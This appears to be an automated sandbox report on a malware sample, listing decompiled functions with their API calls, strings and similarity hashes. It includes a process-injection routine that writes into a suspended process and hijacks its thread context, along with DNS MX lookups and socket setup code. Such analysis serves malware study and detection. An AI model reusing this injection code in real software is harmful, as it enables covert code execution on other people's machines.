					_t157[0x3c] = 0;
					_t157[0x54] = 0;
					_t157[0x40] = 0;
					_t157[0x58] = 0;
					L31:
					_t82 =  &(_t157[4]); // 0x40c4e4
					_t86 = _t82;
					_t148 =  !( *_t157) & 0x00000001;
					_t157[0x5c] = _t122;
					_t84 =  &(_t157[8]); // 0xfffffdf0
					if( *_t86 >=  *_t84) {
						L34:
						return _t86;
					}
					_t86 = CreateThread(_t122, _t122, E0040B535, InterlockedIncrement(_t86) | _t148 << 0x00000010, _t122, _t122);
					if(_t86 == _t122) {
						goto L34;
					}
					return CloseHandle(_t86);
				}
				if(_t157[8] != 0) {
					__eflags = _t157[0x48];
					if(_t157[0x48] == 0) {
						L5:
						_t12 =  &(_t157[0x10]); // 0x59be026a
						_t90 =  *_t12;
						_t157[8] = _t90;
						_t157[0x34] = _t90;
						_t91 = _t90 * 0x3e8;
						__eflags = _t91;
						_t157[0x38] = _t122;
						_t157[0x3c] = _t122;
						_t157[0x1c] = _t90 * 0x2710;
						_t157[0x20] = _t91;
						goto L6;
					}
					_t118 = GetTickCount();
					_t11 =  &(_t157[0x48]); // 0x13740041
					__eflags = _t118 -  *_t11 - 0x927c0;
					if(_t118 -  *_t11 < 0x927c0) {
						goto L6;
					}
					goto L5;
				} else {
					_t4 =  &(_t157[0xc]); // 0x5756c359
					_t120 =  *_t4;
					_t157[0x1c] = _t120 * 0x2710;
					_t157[8] = _t120;
					_t157[0x20] = _t120 * 0x3e8;
					_t157[0x34] = _t120;
					_t157[0x48] = GetTickCount();
					L6:
					if(( *_t157 & 0x00000001) == 0) {
						_t73 =  &(_t157[0x34]); // 0xa1c35e5f
						_t157[8] =  *_t73;
						goto L31;
					}
					_t93 = GetTickCount();
					_t21 =  &(_t157[0x4c]); // 0x26fce850
					if(_t93 -  *_t21 >= 0x2710) {
						goto L31;
					}
					if(_t157[0x54] == _t122) {
						_t95 = 0x3e8;
					} else {
						_t117 = GetTickCount();
						_t23 =  &(_t157[0x54]); // 0x41366c1d
						_t95 = _t117 -  *_t23;
					}
					_t123 = _t95;
					if(_t95 < 1) {
						_t123 = 1;
					}
					if(_t123 > 0x4e20) {
						_t123 = 0x4e20;
					}
					_t24 =  &(_t157[0x58]); // 0x701d8900
					_t25 =  &(_t157[0x40]); // 0x74c33b57
					_t151 =  *_t25;
					_t132 =  *_t24 * 0x3e8;
					_push(_t158);
					asm("cdq");
					_push(0x14);
					_a4 = _t123;
					asm("cdq");
					_t101 = (_t132 - _t151) * _t123 / 0x3e8 / 0x3e8;
					if(_t101 == 0) {
						__eflags = _t132 - _t151;
						if(__eflags == 0) {
							goto L22;
						}
						if(__eflags >= 0) {
							_t156 = _t151 + 1;
							__eflags = _t156;
						} else {
							_t156 = _t151 - 1;
						}
						goto L21;
					} else {
						_t156 = _t151 + _t101;
						L21:
						_t157[0x40] = _t156;
						L22:
						if(_t157[0x40] < 0) {
							_t157[0x40] = _t157[0x40] & 0x00000000;
						}
						_t39 =  &(_t157[0x40]); // 0x74c33b57
						_t163 = (0xc8 -  *_t39) * 0x14;
						if(_t123 > 0x3e8) {
							_a4 = 0x3e8;
						}
						asm("cdq");
						_t46 =  &(_t157[0x14]); // 0x5f004120
						_t47 =  &(_t157[0x10]); // 0x59be026a
						asm("cdq");
						_t49 =  &(_t157[0x30]); // 0xe4754f45
						_t54 =  &(_t157[0x20]); // 0x406a0000
						_t108 = E0040A505(_t163 * _a4 / 0x3e8 /  *_t49 +  *_t54,  *_t47 * 0x3e8,  *_t46 * 0x3e8);
						asm("cdq");
						_t56 =  &(_t157[0x2c]); // 0xc68314c4
						_t157[0x20] = _t108;
						_t112 = E0040A505(_t163 /  *_t56 + _t108,  *_t47 * 0x3e8,  *_t46 * 0x3e8);
						asm("cdq");
						_t122 = 0;
						_t157[0x58] = 0;
						_t154 = _t112 / 0x3e8;
						_t157[0x54] = GetTickCount();
						_t68 =  &(_t157[0x34]); // 0xa1c35e5f
						_t115 =  *_t68;
						if(_t115 <= _t154) {
							_t157[8] = _t115;
							_t157[0x20] = _t115 * 0x3e8;
						} else {
							_t157[8] = _t154;
							_t157[0x1c] = _t154 * 0x2710;
						}
						goto L31;
					}
				}
			}

0x0040c2dc
0x0040c2de
0x0040c2e4
0x0040c2e9
0x0040c2ef
0x0040c482
0x0040c485
0x0040c488
0x0040c48b
0x0040c48e
0x0040c491
0x0040c494
0x0040c497
0x0040c499
0x0040c499
0x0040c4a0
0x0040c4a3
0x0040c4a6
0x0040c4a9
0x0040c4d5
0x0040c4d5
0x0040c4d5
0x0040c4c1
0x0040c4c9
0x00000000
0x00000000
0x00000000
0x0040c4cc
0x0040c2fe
0x0040c326
0x0040c329
0x0040c337
0x0040c337
0x0040c337
0x0040c342
0x0040c345
0x0040c348
0x0040c348
0x0040c34e
0x0040c351
0x0040c354
0x0040c357
0x00000000
0x0040c357
0x0040c32b
0x0040c32d
0x0040c330
0x0040c335
0x00000000
0x00000000
0x00000000
0x0040c300
0x0040c300
0x0040c300
0x0040c30b
0x0040c316
0x0040c319
0x0040c31c
0x0040c321
0x0040c35a
0x0040c35d
0x0040c47a
0x0040c47d
0x00000000
0x0040c47d
0x0040c363
0x0040c365
0x0040c36d
0x00000000
0x00000000
0x0040c376
0x0040c37f
0x0040c378
0x0040c378
0x0040c37a
0x0040c37a
0x0040c37a
0x0040c384
0x0040c389
0x0040c38d
0x0040c38d
0x0040c395
0x0040c397
0x0040c397
0x0040c399
0x0040c39c
0x0040c39c
0x0040c39f
0x0040c3ac
0x0040c3ad
0x0040c3b5
0x0040c3b8
0x0040c3bc
0x0040c3bd
0x0040c3c1
0x0040c3c7
0x0040c3c9
0x00000000
0x00000000
0x0040c3cb
0x0040c3d0
0x0040c3d0
0x0040c3cd
0x0040c3cd
0x0040c3cd
0x00000000
0x0040c3c3
0x0040c3c3
0x0040c3d1
0x0040c3d1
0x0040c3d4
0x0040c3d8
0x0040c3da
0x0040c3da
0x0040c3e3
0x0040c3eb
0x0040c3f0
0x0040c3f2
0x0040c3f2
0x0040c3fd
0x0040c405
0x0040c408
0x0040c419
0x0040c41a
0x0040c41d
0x0040c421
0x0040c42a
0x0040c42b
0x0040c430
0x0040c436
0x0040c43b
0x0040c443
0x0040c448
0x0040c44b
0x0040c453
0x0040c456
0x0040c456
0x0040c45c
0x0040c46c
0x0040c475
0x0040c45e
0x0040c45e
0x0040c467
0x0040c467
0x00000000
0x0040c45c
0x0040c3c1

APIs

Part of subcall function 0040A4C7: GetTickCount.KERNEL32 ref: 0040A4D1
Part of subcall function 0040A4C7: InterlockedExchange.KERNEL32(?,00000001), ref: 0040A4FA

GetTickCount.KERNEL32 ref: 0040C31F
GetTickCount.KERNEL32 ref: 0040C32B
GetTickCount.KERNEL32 ref: 0040C363
GetTickCount.KERNEL32 ref: 0040C378
GetTickCount.KERNEL32 ref: 0040C44D
InterlockedIncrement.KERNEL32(0040C4E4), ref: 0040C4AE
CreateThread.KERNEL32 ref: 0040C4C1
CloseHandle.KERNEL32(00000000,?,0040C4E0,00413588,00408810), ref: 0040C4CC

Strings

localcfg, xrefs: 0040C2DD
0t, xrefs: 0040C44D

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CountTick$Interlocked$CloseCreateExchangeHandleIncrementThread
String ID: 0t$localcfg
API String ID: 1553760989-1645711936
Opcode ID: afac293e63498dd1283f128a7be93ce9089d2193a9ff6ee31ee25d998cb0b475
Instruction ID: d79c9f10581ee3273b6165e92ba068ddd4f199cf4cd09fd02743c11af2233124
Opcode Fuzzy Hash: afac293e63498dd1283f128a7be93ce9089d2193a9ff6ee31ee25d998cb0b475
Instruction Fuzzy Hash: 0E515CB1A00B41CFC7249F6AC5D552ABBE9FB48304B509A3FE58BD7A90D778F8448B14

Uniqueness

Uniqueness Score: -1.00%

Function 0086F565, Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103networkCOMMON

Download Yara Rule

APIs

htons.WS2_32(0086CC6D), ref: 0086F59D
socket.WS2_32(00000002,00000001,00000000), ref: 0086F5B7
closesocket.WS2_32(00000000), ref: 0086F5C5

Strings

^3u, xrefs: 0086F619
p2u, xrefs: 0086F5C5, 0086F5F0
time_cfg, xrefs: 0086F573

Memory Dump Source

Source File: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Yara matches

Similarity

API ID: closesockethtonssocket
String ID: p2u$time_cfg$^3u
API String ID: 311057483-1845531421
Opcode ID: 35ab9fe366417f7a0644d99ffa926dabfa0554eb5add049d4f688aed03fde98e
Instruction ID: bac7670ce0d1c1a95ae022a6f0d9df28a8975b9b4ce2412f4502303db5e8f618
Opcode Fuzzy Hash: 35ab9fe366417f7a0644d99ffa926dabfa0554eb5add049d4f688aed03fde98e
Instruction Fuzzy Hash: A3315C7290011CABDB109FA4EC899EE7BBCFF89314F114166FA15D3151E7B0DA818BA5

Uniqueness

Uniqueness Score: -1.00%

Function 00863042, Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 97memorylibrarynetworkCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(iphlpapi.dll), ref: 00863051
LoadLibraryA.KERNEL32(iphlpapi.dll), ref: 00863061
GetProcAddress.KERNEL32(00000000,00410408), ref: 0086307E
RtlAllocateHeap.NTDLL(00000000), ref: 0086309F
htons.WS2_32(00000035), ref: 008630D8
inet_addr.WS2_32(?), ref: 008630E3
gethostbyname.WS2_32(?), ref: 008630F6
HeapFree.KERNEL32(00000000), ref: 00863136

Strings

iphlpapi.dll, xrefs: 0086304B, 00863050, 00863060

Memory Dump Source

Source File: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Yara matches

Similarity

API ID: Heap$AddressAllocateFreeHandleLibraryLoadModuleProcgethostbynamehtonsinet_addr
String ID: iphlpapi.dll
API String ID: 2869546040-3565520932
Opcode ID: 1e8713dd52c6e8bc37e9b2497aa4af782d9b250ffd42f9daf4508d8acafa4540
Instruction ID: 4d2f4e71553008be24b0f052b431982bdd2dd30225ee7e91a86704288d0b01e5
Opcode Fuzzy Hash: 1e8713dd52c6e8bc37e9b2497aa4af782d9b250ffd42f9daf4508d8acafa4540
Instruction Fuzzy Hash: DF31D431A00606ABDF109BB8DC49BAE7BB8FF05761F154125F914E3290EB74DF818B58

Uniqueness

Uniqueness Score: -1.00%

Function 00402D21, Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 85
memorylibrarystringCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00402D21(intOrPtr _a4) {
				long _v8;
				long _v12;
				void* _v16;
				char _v28;
				struct HINSTANCE__* _t19;
				_Unknown_base(*)()* _t20;
				long* _t30;
				intOrPtr* _t37;
				long _t39;
				long _t40;
				void* _t41;

				asm("movsd");
				asm("movsd");
				asm("movsw");
				asm("movsb");
				_t19 = GetModuleHandleA( &_v28);
				_t39 = 0;
				if(_t19 != 0) {
					L3:
					_t20 = GetProcAddress(_t19, "DnsQuery_A");
					if(_t20 == _t39) {
						L2:
						return 0;
					}
					_push(_t39);
					_t35 =  &_v16;
					_push( &_v16);
					_push(_t39);
					_push(_t39);
					_push(0xf);
					_push(_a4);
					if( *_t20() != 0) {
						goto L2;
					}
					_t37 = _v16;
					_v8 = _t39;
					_v12 = _t39;
					if(_t37 == _t39) {
						L14:
						return _v12;
					}
					do {
						if( *((short*)(_t37 + 8)) != 0xf) {
							goto L12;
						}
						_t40 = HeapAlloc(GetProcessHeap(), _t39, 0x108);
						if(_t40 == 0) {
							break;
						}
						E0040EE2A(_t35, _t40, 0, 0x108);
						_t41 = _t41 + 0xc;
						 *(_t40 + 4) =  *(_t37 + 0x1c) & 0x0000ffff;
						_t13 = _t40 + 8; // 0x8
						lstrcpynA(_t13,  *(_t37 + 0x18), 0xff);
						_t30 = _v8;
						_v8 = _t40;
						if(_t30 != 0) {
							 *_t30 = _t40;
						} else {
							_v12 = _t40;
						}
						L12:
						_t37 =  *_t37;
						_t39 = 0;
					} while (_t37 != 0);
					goto L14;
				}
				_t19 = LoadLibraryA( &_v28);
				if(_t19 != 0) {
					goto L3;
				}
				goto L2;
			}

0x00402d31
0x00402d32
0x00402d33
0x00402d39
0x00402d3a
0x00402d40
0x00402d44
0x00402d5b
0x00402d61
0x00402d69
0x00402d54
0x00000000
0x00402d54
0x00402d6b
0x00402d6c
0x00402d6f
0x00402d70
0x00402d71
0x00402d72
0x00402d74
0x00402d7b
0x00000000
0x00000000
0x00402d7d
0x00402d80
0x00402d83
0x00402d88
0x00402deb
0x00000000
0x00402deb
0x00402d90
0x00402d95
0x00000000
0x00000000
0x00402da6
0x00402daa
0x00000000
0x00000000
0x00402db0
0x00402db9
0x00402dc1
0x00402dc7
0x00402dcb
0x00402dd1
0x00402dd4
0x00402dd9
0x00402de0
0x00402ddb
0x00402ddb
0x00402ddb
0x00402de2
0x00402de2
0x00402de4
0x00402de6
0x00000000
0x00402dea
0x00402d4a
0x00402d52
0x00000000
0x00000000
0x00000000

APIs

GetModuleHandleA.KERNEL32(00000000,74E5EA30,?,00000000,00402F01,?,004020FF,00412000), ref: 00402D3A
LoadLibraryA.KERNEL32(?), ref: 00402D4A
GetProcAddress.KERNEL32(00000000,DnsQuery_A), ref: 00402D61
GetProcessHeap.KERNEL32(00000000,00000108,000DBBA0), ref: 00402D99
HeapAlloc.KERNEL32(00000000), ref: 00402DA0
lstrcpynA.KERNEL32(00000008,?,000000FF), ref: 00402DCB

Strings

Mt, xrefs: 00402D3A
dnsapi.dll, xrefs: 00402D29
DnsQuery_A, xrefs: 00402D5B

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Heap$AddressAllocHandleLibraryLoadModuleProcProcesslstrcpyn
String ID: DnsQuery_A$dnsapi.dll$Mt
API String ID: 3560063639-2758030581
Opcode ID: d4096c20dd1105e3ef32148a9c5654c80b560ad64ac552135804a6a2b7bfb5e3
Instruction ID: e5e1ee734cbcfb8ca4eff609f7c37a2f42b45bda1feb54b0ffc2340cedddb21a
Opcode Fuzzy Hash: d4096c20dd1105e3ef32148a9c5654c80b560ad64ac552135804a6a2b7bfb5e3
Instruction Fuzzy Hash: 25214F7190022AABCB11AB55DD48AEFBBB8EF08750F104432F905B7290D7F49E8587D8

Uniqueness

Uniqueness Score: -1.00%

Function 00406CC9, Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 84
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E00406CC9(void* __ecx) {
				_Unknown_base(*)()* _t8;
				CHAR* _t17;
				void* _t18;
				void* _t23;
				char _t25;
				void* _t34;

				_t23 = __ecx;
				if( *0x412e08 != 0) {
					L14:
					return 0x412e08;
				}
				_t8 = GetProcAddress(GetModuleHandleA("kernel32"), "GetSystemWow64DirectoryA");
				if(_t8 == 0) {
					L4:
					if(GetSystemDirectoryA(0x412e08, 0x104) == 0 ||  *0x412e08 == 0) {
						if(GetWindowsDirectoryA(0x412e08, 0x104) == 0 ||  *0x412e08 == 0) {
							E0040EF00(0x412e08, E00402544(0x4122f8, 0x410664, 0xb, 0xe4, 0xc8));
							E0040EE2A(_t23, 0x4122f8, 0, 0x100);
							_t34 = _t34 + 0x28;
						}
						E0040EF1E(0x412e08, E00402544(0x4122f8, 0x410658, 0xb, 0xe4, 0xc8));
						E0040EE2A(_t23, 0x4122f8, 0, 0x100);
					}
					L10:
					_t17 = 0x412e08;
					goto L11;
					L11:
					_t25 =  *_t17;
					_t17 =  &(_t17[1]);
					if(_t25 != 0) {
						goto L11;
					} else {
						_t18 = _t17 - 0x412e09;
						if( *((char*)(_t18 + 0x412e07)) != 0x5c) {
							 *((char*)(_t18 + 0x412e08)) = 0x5c;
							 *((char*)(_t18 + 0x412e09)) = _t25;
						}
						goto L14;
					}
				}
				_push(0x104);
				_push(0x412e08);
				if( *_t8() == 0 ||  *0x412e08 == 0) {
					goto L4;
				} else {
					goto L10;
				}
			}

0x00406cc9
0x00406cd6
0x00406dbe
0x00406dc1
0x00406dc1
0x00406cee
0x00406cfb
0x00406d12
0x00406d1c
0x00406d40
0x00406d60
0x00406d69
0x00406d6e
0x00406d6e
0x00406d86
0x00406d8f
0x00406d98
0x00406d99
0x00406d99
0x00406d9e
0x00406d9f
0x00406d9f
0x00406da1
0x00406da4
0x00000000
0x00406da6
0x00406da6
0x00406daf
0x00406db1
0x00406db8
0x00406db8
0x00000000
0x00406daf
0x00406da4
0x00406cfd
0x00406cfe
0x00406d03
0x00000000
0x00000000
0x00000000
0x00000000

APIs

GetModuleHandleA.KERNEL32(kernel32,GetSystemWow64DirectoryA,PromptOnSecureDesktop,000000E4,00406DDC,000000C8), ref: 00406CE7
GetProcAddress.KERNEL32(00000000), ref: 00406CEE
GetSystemDirectoryA.KERNEL32 ref: 00406D14
GetWindowsDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104,?,00000000), ref: 00406D2B

Strings

kernel32, xrefs: 00406CE2
Mt, xrefs: 00406CE7
C:\Windows\SysWOW64\, xrefs: 00406CC9, 00406CD1, 00406CFE, 00406D05, 00406D13, 00406D1E, 00406D2A, 00406D42, 00406D5F, 00406D85
GetSystemWow64DirectoryA, xrefs: 00406CDD
PromptOnSecureDesktop, xrefs: 00406CDC, 00406D36, 00406D58, 00406D68, 00406D7E, 00406D8E

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Directory$AddressHandleModuleProcSystemWindows
String ID: C:\Windows\SysWOW64\$GetSystemWow64DirectoryA$PromptOnSecureDesktop$kernel32$Mt
API String ID: 1082366364-4075101892
Opcode ID: 174e8731fdbdc44ab974895aa40a4ab233de6b35a5efa5658db69bb206ac9e39
Instruction ID: 283af98db633f334a3c96cb566aa979ace8a56c3c0d7b64ee1e11c7fdc897f47
Opcode Fuzzy Hash: 174e8731fdbdc44ab974895aa40a4ab233de6b35a5efa5658db69bb206ac9e39
Instruction Fuzzy Hash: AC21F26174034479F72157225D89FF72E4C8F52744F19407AF804B62D2CAED88E582AD

Uniqueness

Uniqueness Score: -1.00%

Function 0042A36A, Relevance: 15.2, APIs: 10, Instructions: 238COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 0042A36E
__get_printf_count_output.LIBCMTD ref: 0042A37C
__invalid_parameter.LIBCMTD ref: 0042A403
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0042A418
_write_multi_char.LIBCMTD ref: 0042A9A5
_write_multi_char.LIBCMTD ref: 0042A9EC
__mbtowc_l.LIBCMTD ref: 0042AA5B

Memory Dump Source

Source File: 00000019.00000002.447542471.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter__mbtowc_l_get_int_arg
String ID:
API String ID: 2682298449-0
Opcode ID: 1bc515db7d57b42efb2f73494a533512b6b1b858c5d1bd763e9811e34fdadad3
Instruction ID: 78b4644817df906299b32487ee3e58c05414c3dacde80297e87243b581eece5c
Opcode Fuzzy Hash: 1bc515db7d57b42efb2f73494a533512b6b1b858c5d1bd763e9811e34fdadad3
Instruction Fuzzy Hash: 20A181F0A002299BDB24DF45DC85BAEB374BF44304F54419AEA0A6B282D7785ED4CF5E

Uniqueness

Uniqueness Score: -1.00%

Function 00434DE0, Relevance: 15.1, APIs: 10, Instructions: 135COMMON

Download Yara Rule

APIs

_cmpDWORD.LIBCMTD ref: 00434DEE

Part of subcall function 00435070: _cmpBYTE.LIBCMTD ref: 004350A8

_cmpDWORD.LIBCMTD ref: 00434E15

Memory Dump Source

Source File: 00000019.00000002.447542471.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: _cmp
String ID:
API String ID: 2028851527-0
Opcode ID: c8f3e292c3b1e8bb93b3af797200ed8ae75d1eaad313a1fa08ee5c27a5052a11
Instruction ID: 9beefa008b2d0e4f886542521bc731350bcff5835cd48f27d96f0f531bcbca05
Opcode Fuzzy Hash: c8f3e292c3b1e8bb93b3af797200ed8ae75d1eaad313a1fa08ee5c27a5052a11
Instruction Fuzzy Hash: 7B51F8B1900108FFCB08EFACDA49AED7BB5AB88304F54D559F409AB245D638EF44DB58

Uniqueness

Uniqueness Score: -1.00%

Function 0043D8E6, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 131COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0043D948
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043D95D
_memset.LIBCMT ref: 0043D9E4
__invalid_parameter.LIBCMTD ref: 0043DA44
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043DA56
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043DA91

Strings

", xrefs: 0043DA4C
P, xrefs: 0043DA66

Memory Dump Source

Source File: 00000019.00000002.447542471.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: Locale$UpdateUpdate::~_$_memset$__invalid_parameter
String ID: "$P
API String ID: 2173491032-1577843662
Opcode ID: 356e27c6cebe0a18bb3d8caded98d104336831c4af82397cb0378342dc5d7405
Instruction ID: 1ddd08cc60651c79a3fb00c6eae974bc31620964f70ea24aa8ab8d488998bc32
Opcode Fuzzy Hash: 356e27c6cebe0a18bb3d8caded98d104336831c4af82397cb0378342dc5d7405
Instruction Fuzzy Hash: 21515B70E00209DBCB14DFA8E846BAE7771FF48315F10962AE8256B3D0D7789952CF89

Uniqueness

Uniqueness Score: -1.00%

Function 0040977C, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 82
threadinjectionprocessCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E0040977C(void* __ecx, CHAR* _a4) {
				struct _PROCESS_INFORMATION _v20;
				void _v24;
				char _v28;
				struct _STARTUPINFOA _v96;
				struct _CONTEXT _v812;
				void* _t33;

				_t46 = __ecx;
				E0040EE2A(__ecx,  &_v96, 0, 0x44);
				_v96.cb = 0x44;
				if(CreateProcessA(0, _a4, 0, 0, 0, 4, 0, 0,  &_v96,  &_v20) != 0) {
					E0040EE2A(_t46,  &_v812, 0, 0x2cc);
					_v812.ContextFlags = 0x10002;
					if(GetThreadContext(_v20.hThread,  &_v812) != 0) {
						_t33 = E0040637C(_entry_, _v20.hProcess,  &_v28,  &_v24);
						_push(0);
						if(_t33 == 0) {
							L4:
							TerminateProcess(_v20.hProcess, ??);
							goto L1;
						}
						if(WriteProcessMemory(_v20, _v812.Ebx + 8,  &_v24, 4, ??) == 0) {
							goto L3;
						}
						_v812.Eax = _v28;
						if(SetThreadContext(_v20.hThread,  &_v812) == 0) {
							goto L3;
						}
						ResumeThread(_v20.hThread);
						return 1;
					}
					L3:
					_push(0);
					goto L4;
				}
				L1:
				return 0;
			}

0x0040977c
0x0040978f
0x004097a9
0x004097b9
0x004097cf
0x004097e1
0x004097f3
0x00409811
0x00409819
0x0040981c
0x004097f6
0x004097f9
0x00000000
0x004097f9
0x00409839
0x00000000
0x00000000
0x0040983e
0x00409856
0x00000000
0x00000000
0x0040985b
0x00000000
0x00409863
0x004097f5
0x004097f5
0x00000000
0x004097f5
0x004097bb
0x00000000

APIs

CreateProcessA.KERNEL32(00000000,00409947,00000000,00000000,00000000,00000004,00000000,00000000,?,?,?,?,PromptOnSecureDesktop), ref: 004097B1
GetThreadContext.KERNEL32(?,?,?,?,?,?,?,PromptOnSecureDesktop), ref: 004097EB
TerminateProcess.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,PromptOnSecureDesktop), ref: 004097F9
WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000,?,?,?,?,?,?,?,?,?,PromptOnSecureDesktop), ref: 00409831
SetThreadContext.KERNEL32(?,00010002,?,?,?,?,?,?,?,?,?,PromptOnSecureDesktop), ref: 0040984E
ResumeThread.KERNEL32(?,?,?,?,?,?,?,?,?,?,PromptOnSecureDesktop), ref: 0040985B

Strings

D, xrefs: 004097A9
PromptOnSecureDesktop, xrefs: 00409785

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: ProcessThread$Context$CreateMemoryResumeTerminateWrite
String ID: D$PromptOnSecureDesktop
API String ID: 2981417381-1403908072
Opcode ID: bfc8fb38e21afcc8978dd871529b03129cc6a272bb135abfd583736d5c6f917f
Instruction ID: 6dc29e085b1385aad622296cf5a9b119a202239bcf48ce0aeeb22bf7d7f748db
Opcode Fuzzy Hash: bfc8fb38e21afcc8978dd871529b03129cc6a272bb135abfd583736d5c6f917f
Instruction Fuzzy Hash: 54216DB2901119BBDB119FA1DC49EEF7B7CEF05750F004071B909F2191EB759A44CAA8

Uniqueness

Uniqueness Score: -1.00%

Function 0041DCDB, Relevance: 13.6, APIs: 9, Instructions: 55COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0041DCE0
std::_Lockit::_Lockit.LIBCPMTD ref: 0041DCEF
int.LIBCPMT ref: 0041DD06

Part of subcall function 0041CFA4: std::_Lockit::_Lockit.LIBCPMTD ref: 0041CFB5
Part of subcall function 0041CFA4: std::_Lockit::~_Lockit.LIBCPMTD ref: 0041CFCF

std::locale::_Getfacet.LIBCPMT ref: 0041DD0F
std::bad_exception::bad_exception.LIBCMTD ref: 0041DD3D
__CxxThrowException@8.LIBCMTD ref: 0041DD4B
std::locale::facet::_Incref.LIBCPMT ref: 0041DD5B
std::locale::facet::_Facet_Register.LIBCPMTD ref: 0041DD61
std::_Lockit::~_Lockit.LIBCPMTD ref: 0041DD6E

Memory Dump Source

Source File: 00000019.00000002.447542471.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_std::locale::facet::_$Exception@8Facet_GetfacetH_prologIncrefRegisterThrowstd::bad_exception::bad_exceptionstd::locale::_
String ID:
API String ID: 2482789966-0
Opcode ID: 5cb0843e808271b1dfb52996b79b875d073dc0163d2b1a9a6f19c640bcf2e558
Instruction ID: 5bed291143b5d5461171e51bdd7b6e9a3b89b584ced85c8cccaa098ab508ec29
Opcode Fuzzy Hash: 5cb0843e808271b1dfb52996b79b875d073dc0163d2b1a9a6f19c640bcf2e558
Instruction Fuzzy Hash: E711C172D00218A7CB04EB61E802AEEB735AF84768F11011FF411672D0DB3CDA46CBAC

Uniqueness

Uniqueness Score: -1.00%

Function 00422A15, Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 264memoryCOMMON

Download Yara Rule

APIs

_CheckBytes.LIBCMTD ref: 00422A29
__CrtIsValidHeapPointer.LIBCMTD ref: 00422AB5
_CheckBytes.LIBCMTD ref: 00422B60
_CheckBytes.LIBCMTD ref: 00422C1A
_memset.LIBCMT ref: 00422D11
__free_base.LIBCMTD ref: 00422D1D

Strings

tDj, xrefs: 00422A6B

Memory Dump Source

Source File: 00000019.00000002.447542471.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: BytesCheck$HeapPointerValid__free_base_memset
String ID: tDj
API String ID: 25084783-2513116121
Opcode ID: a7922e41929f15966087f1ac3006aa59cb252122023543512f6de527ba4322d5
Instruction ID: f24d539b3d259c173b5b83eeb12f1120be34cb3d7adf9794afbf510248c4c9ba
Opcode Fuzzy Hash: a7922e41929f15966087f1ac3006aa59cb252122023543512f6de527ba4322d5
Instruction Fuzzy Hash: 6E91E374B40214BBEB28CF44EE96F6A7366AB44704F70415AF6046B3C2C2F9EE41D69D

Uniqueness

Uniqueness Score: -1.00%

Function 00866761, Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 182COMMON

Download Yara Rule

APIs

IsBadHugeReadPtr.KERNEL32(?,00000008), ref: 008667AC
htonl.WS2_32(?), ref: 008667C8
htonl.WS2_32(?), ref: 008667D7
GetCurrentProcess.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000), ref: 008668DA
ExitProcess.KERNEL32 ref: 008669A5

Strings

localcfg, xrefs: 0086697D
except_info, xrefs: 00866978

Memory Dump Source

Source File: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Yara matches

Similarity

API ID: Processhtonl$CurrentExitHugeRead
String ID: except_info$localcfg
API String ID: 1150517154-3605449297
Opcode ID: 8c67a5bde2c17ed3aff6f0ea1f646f2c63f3a3fdf38cb08711d1dfe4718764d5
Instruction ID: dd29d7a1aea9eb2fcb730c33637d33a2ff4aefc80db03879899203a791eefbc1
Opcode Fuzzy Hash: 8c67a5bde2c17ed3aff6f0ea1f646f2c63f3a3fdf38cb08711d1dfe4718764d5
Instruction Fuzzy Hash: 6D617F71940208AFDB609FB4DC45FE977E9FF08300F248066FA6DD2161EA759990CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00406F5F, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 89
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00406F5F(long _a4, long _a8) {
				void* _v8;
				long _v12;
				union _SID_NAME_USE _v16;
				void _v84;
				char _v212;
				CHAR* _t36;
				void* _t53;
				intOrPtr* _t54;
				char _t62;
				void* _t65;
				char* _t66;
